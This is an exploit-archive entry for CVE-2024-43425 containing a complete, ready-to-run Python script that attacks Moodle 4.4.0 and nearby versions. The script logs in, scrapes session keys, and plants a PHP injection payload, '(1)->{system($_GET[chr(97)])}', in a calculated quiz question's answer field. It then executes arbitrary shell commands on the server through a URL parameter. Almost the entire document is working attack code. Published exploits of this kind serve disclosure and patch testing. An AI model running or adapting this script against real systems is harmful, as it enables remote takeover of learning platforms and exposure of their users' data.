Moodle 4.4.0 - Authenticated Remote Code Execution

Author: Likhith Appalaneni
type: webapps
platform: multiple
port: 
date_added: 2025-07-02  
date_updated: 2025-07-02  
verified: 0  
codes: CVE-2024-43425  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52350.py  
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425

import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse

requests.packages.urllib3.disable_warnings()

def get_login_token(session, login_url):
    print("[*] Step 1: GET /login/index.php to extract login token")
    try:
        response = session.get(login_url, verify=False)
        if response.status_code != 200:
            print(f"[-] Unexpected status code {response.status_code} when accessing login page")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Error connecting to {login_url}: {e}")
        sys.exit(1)

    soup = BeautifulSoup(response.text, "html.parser")
    token_input = soup.find("input", {"name": "logintoken"})
    if not token_input or not token_input.get("value"):
        print("[-] Failed to extract login token from HTML")
        sys.exit(1)

    token = token_input["value"]
    print(f"[+] Found login token: {token}")
    return token

def perform_login(session, login_url, username, password, token):
    print("[*] Step 2: POST /login/index.php with credentials")
    login_payload = {
        "anchor": "",
        "logintoken": token,
        "username": username,
        "password": password,
    }
    try:
        response = session.post(
            login_url,
            data=login_payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            verify=False,
        )
        if response.status_code not in [200, 303]:
            print(f"[-] Unexpected response code during login: {response.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Login POST failed: {e}")
        sys.exit(1)

    if "MoodleSession" not in session.cookies.get_dict():
        print("[-] Login may have failed: MoodleSession cookie missing")
        sys.exit(1)

    print("[+] Logged in successfully.")

def get_quiz_info(session, base_url, cmid):
    print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
    quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
    try:
        resp = session.get(quiz_edit_url, verify=False)
        if resp.status_code != 200:
            print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
            sys.exit(1)
        # Extract sesskey
        sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
        # Extract courseContextId
        ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
        # Extract category
        category_match = re.search(r';category=(\d+)', resp.text)
        if not (sesskey_match and ctxid_match and category_match):
            print("[-] Could not extract sesskey, courseContextId, or category")
            print(resp.text[:1000])
            sys.exit(1)
        sesskey = sesskey_match.group(1)
        ctxid = ctxid_match.group(1)
        category = category_match.group(1)
        print(f"[+] Found sesskey: {sesskey}")
        print(f"[+] Found courseContextId: {ctxid}")
        print(f"[+] Found category: {category}")
        return sesskey, ctxid, category
    except Exception as e:
        print(f"[-] Exception while extracting quiz info: {e}")
        sys.exit(1)

def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 3: Uploading calculated question with payload...")
    url = f"{base_url}/question/bank/editquestion/question.php"
    payload = "(1)->{system($_GET[chr(97)])}"
    post_data = {
        "initialcategory": 1,
        "reload": 1,
        "shuffleanswers": 1,
        "answernumbering": "abc",
        "mform_isexpanded_id_answerhdr": 1,
        "noanswers": 1,
        "nounits": 1,
        "numhints": 2,
        "synchronize": "",
        "wizard": "datasetdefinitions",
        "id": "",
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "qtype": "calculated",
        "makecopy": 0,
        "sesskey": sesskey,
        "_qf__qtype_calculated_edit_form": 1,
        "mform_isexpanded_id_generalheader": 1,
        "category": f"{category},{ctxid}",
        "name": "exploit",
        "questiontext[text]": "<p>test</p>",
        "questiontext[format]": 1,
        "questiontext[itemid]": 623548580,
        "status": "ready",
        "defaultmark": 1,
        "generalfeedback[text]": "",
        "generalfeedback[format]": 1,
        "generalfeedback[itemid]": 21978947,
        "answer[0]": payload,
        "fraction[0]": 1.0,
        "tolerance[0]": 0.01,
        "tolerancetype[0]": 1,
        "correctanswerlength[0]": 2,
        "correctanswerformat[0]": 1,
        "feedback[0][text]": "",
        "feedback[0][format]": 1,
        "feedback[0][itemid]": 281384971,
        "unitrole": 3,
        "penalty": 0.3333333,
        "hint[0][text]": "",
        "hint[0][format]": 1,
        "hint[0][itemid]": 812786292,
        "hint[1][text]": "",
        "hint[1][format]": 1,
        "hint[1][itemid]": 795720000,
        "tags": "_qf__force_multiselect_submission",
        "submitbutton": "Save changes"
    }
    try:
        res = session.post(url, data=post_data, verify=False, allow_redirects=False)
        if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
            print("[+] Question upload request sent. Extracting question ID from redirect.")
            qid = re.search(r"&id=(\d+)", res.headers["Location"])
            if not qid:
                print("[-] Could not extract question ID from redirect.")
                sys.exit(1)
            return qid.group(1)
        else:
            print(f"[-] Upload failed. Status code: {res.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Upload exception: {e}")
        sys.exit(1)

def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
    wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
    data_payload = {
        "id": question_id,
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "category": f"{category},{ctxid}",
        "wizard": "datasetitems",
        "sesskey": sesskey,
        "_qf__question_dataset_dependent_definitions_form": 1,
        "dataset[0]": 0,
        "synchronize": 0,
        "submitbutton": "Next page"
    }
    try:
        res = session.post(wizard_url, data=data_payload, verify=False)
        if res.status_code == 200:
            print("[+] Dataset wizard POST submitted.")
            return False
        elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
            print("[+] Reached expected error page. Payload is being interpreted.")
            return True
        else:
            print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
            return False
    except Exception as e:
        print(f"[-] Exception during dataset wizard step: {e}")
        return False

def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
    print("[*] Step 5: Triggering command: {cmd}")
    encoded = urllib.parse.quote(cmd)
    trigger_url = (
        f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
        f"&category={category}&cmid={cmid}&courseid={courseid}"
        f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
        f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
    )
    try:
        resp = session.get(trigger_url, verify=False)
        print("[+] Trigger request sent. Output below:\n")
        lines = resp.text.splitlines()
        output_lines = []
        for line in lines:
            if "<html" in line.lower():
                break
            if line.strip():
                output_lines.append(line.strip())

        print("[+] Command output (top lines):")
        print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
    except Exception as e:
        print(f"[-] Error triggering command: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
    parser.add_argument("--url", required=True, help="Target Moodle base URL")
    parser.add_argument("--username", required=True, help="Moodle username")
    parser.add_argument("--password", required=True, help="Moodle password")
    parser.add_argument("--courseid", required=True, help="Course ID")
    parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
    parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")

    args = parser.parse_args()

    session = requests.Session()

    login_url = f"{args.url.rstrip('/')}/login/index.php"
    token = get_login_token(session, login_url)

    perform_login(session, login_url, args.username, args.password, token)

    sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)

    question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)

    if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
        sys.exit(1)

    trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)

if __name__ == "__main__":
    main()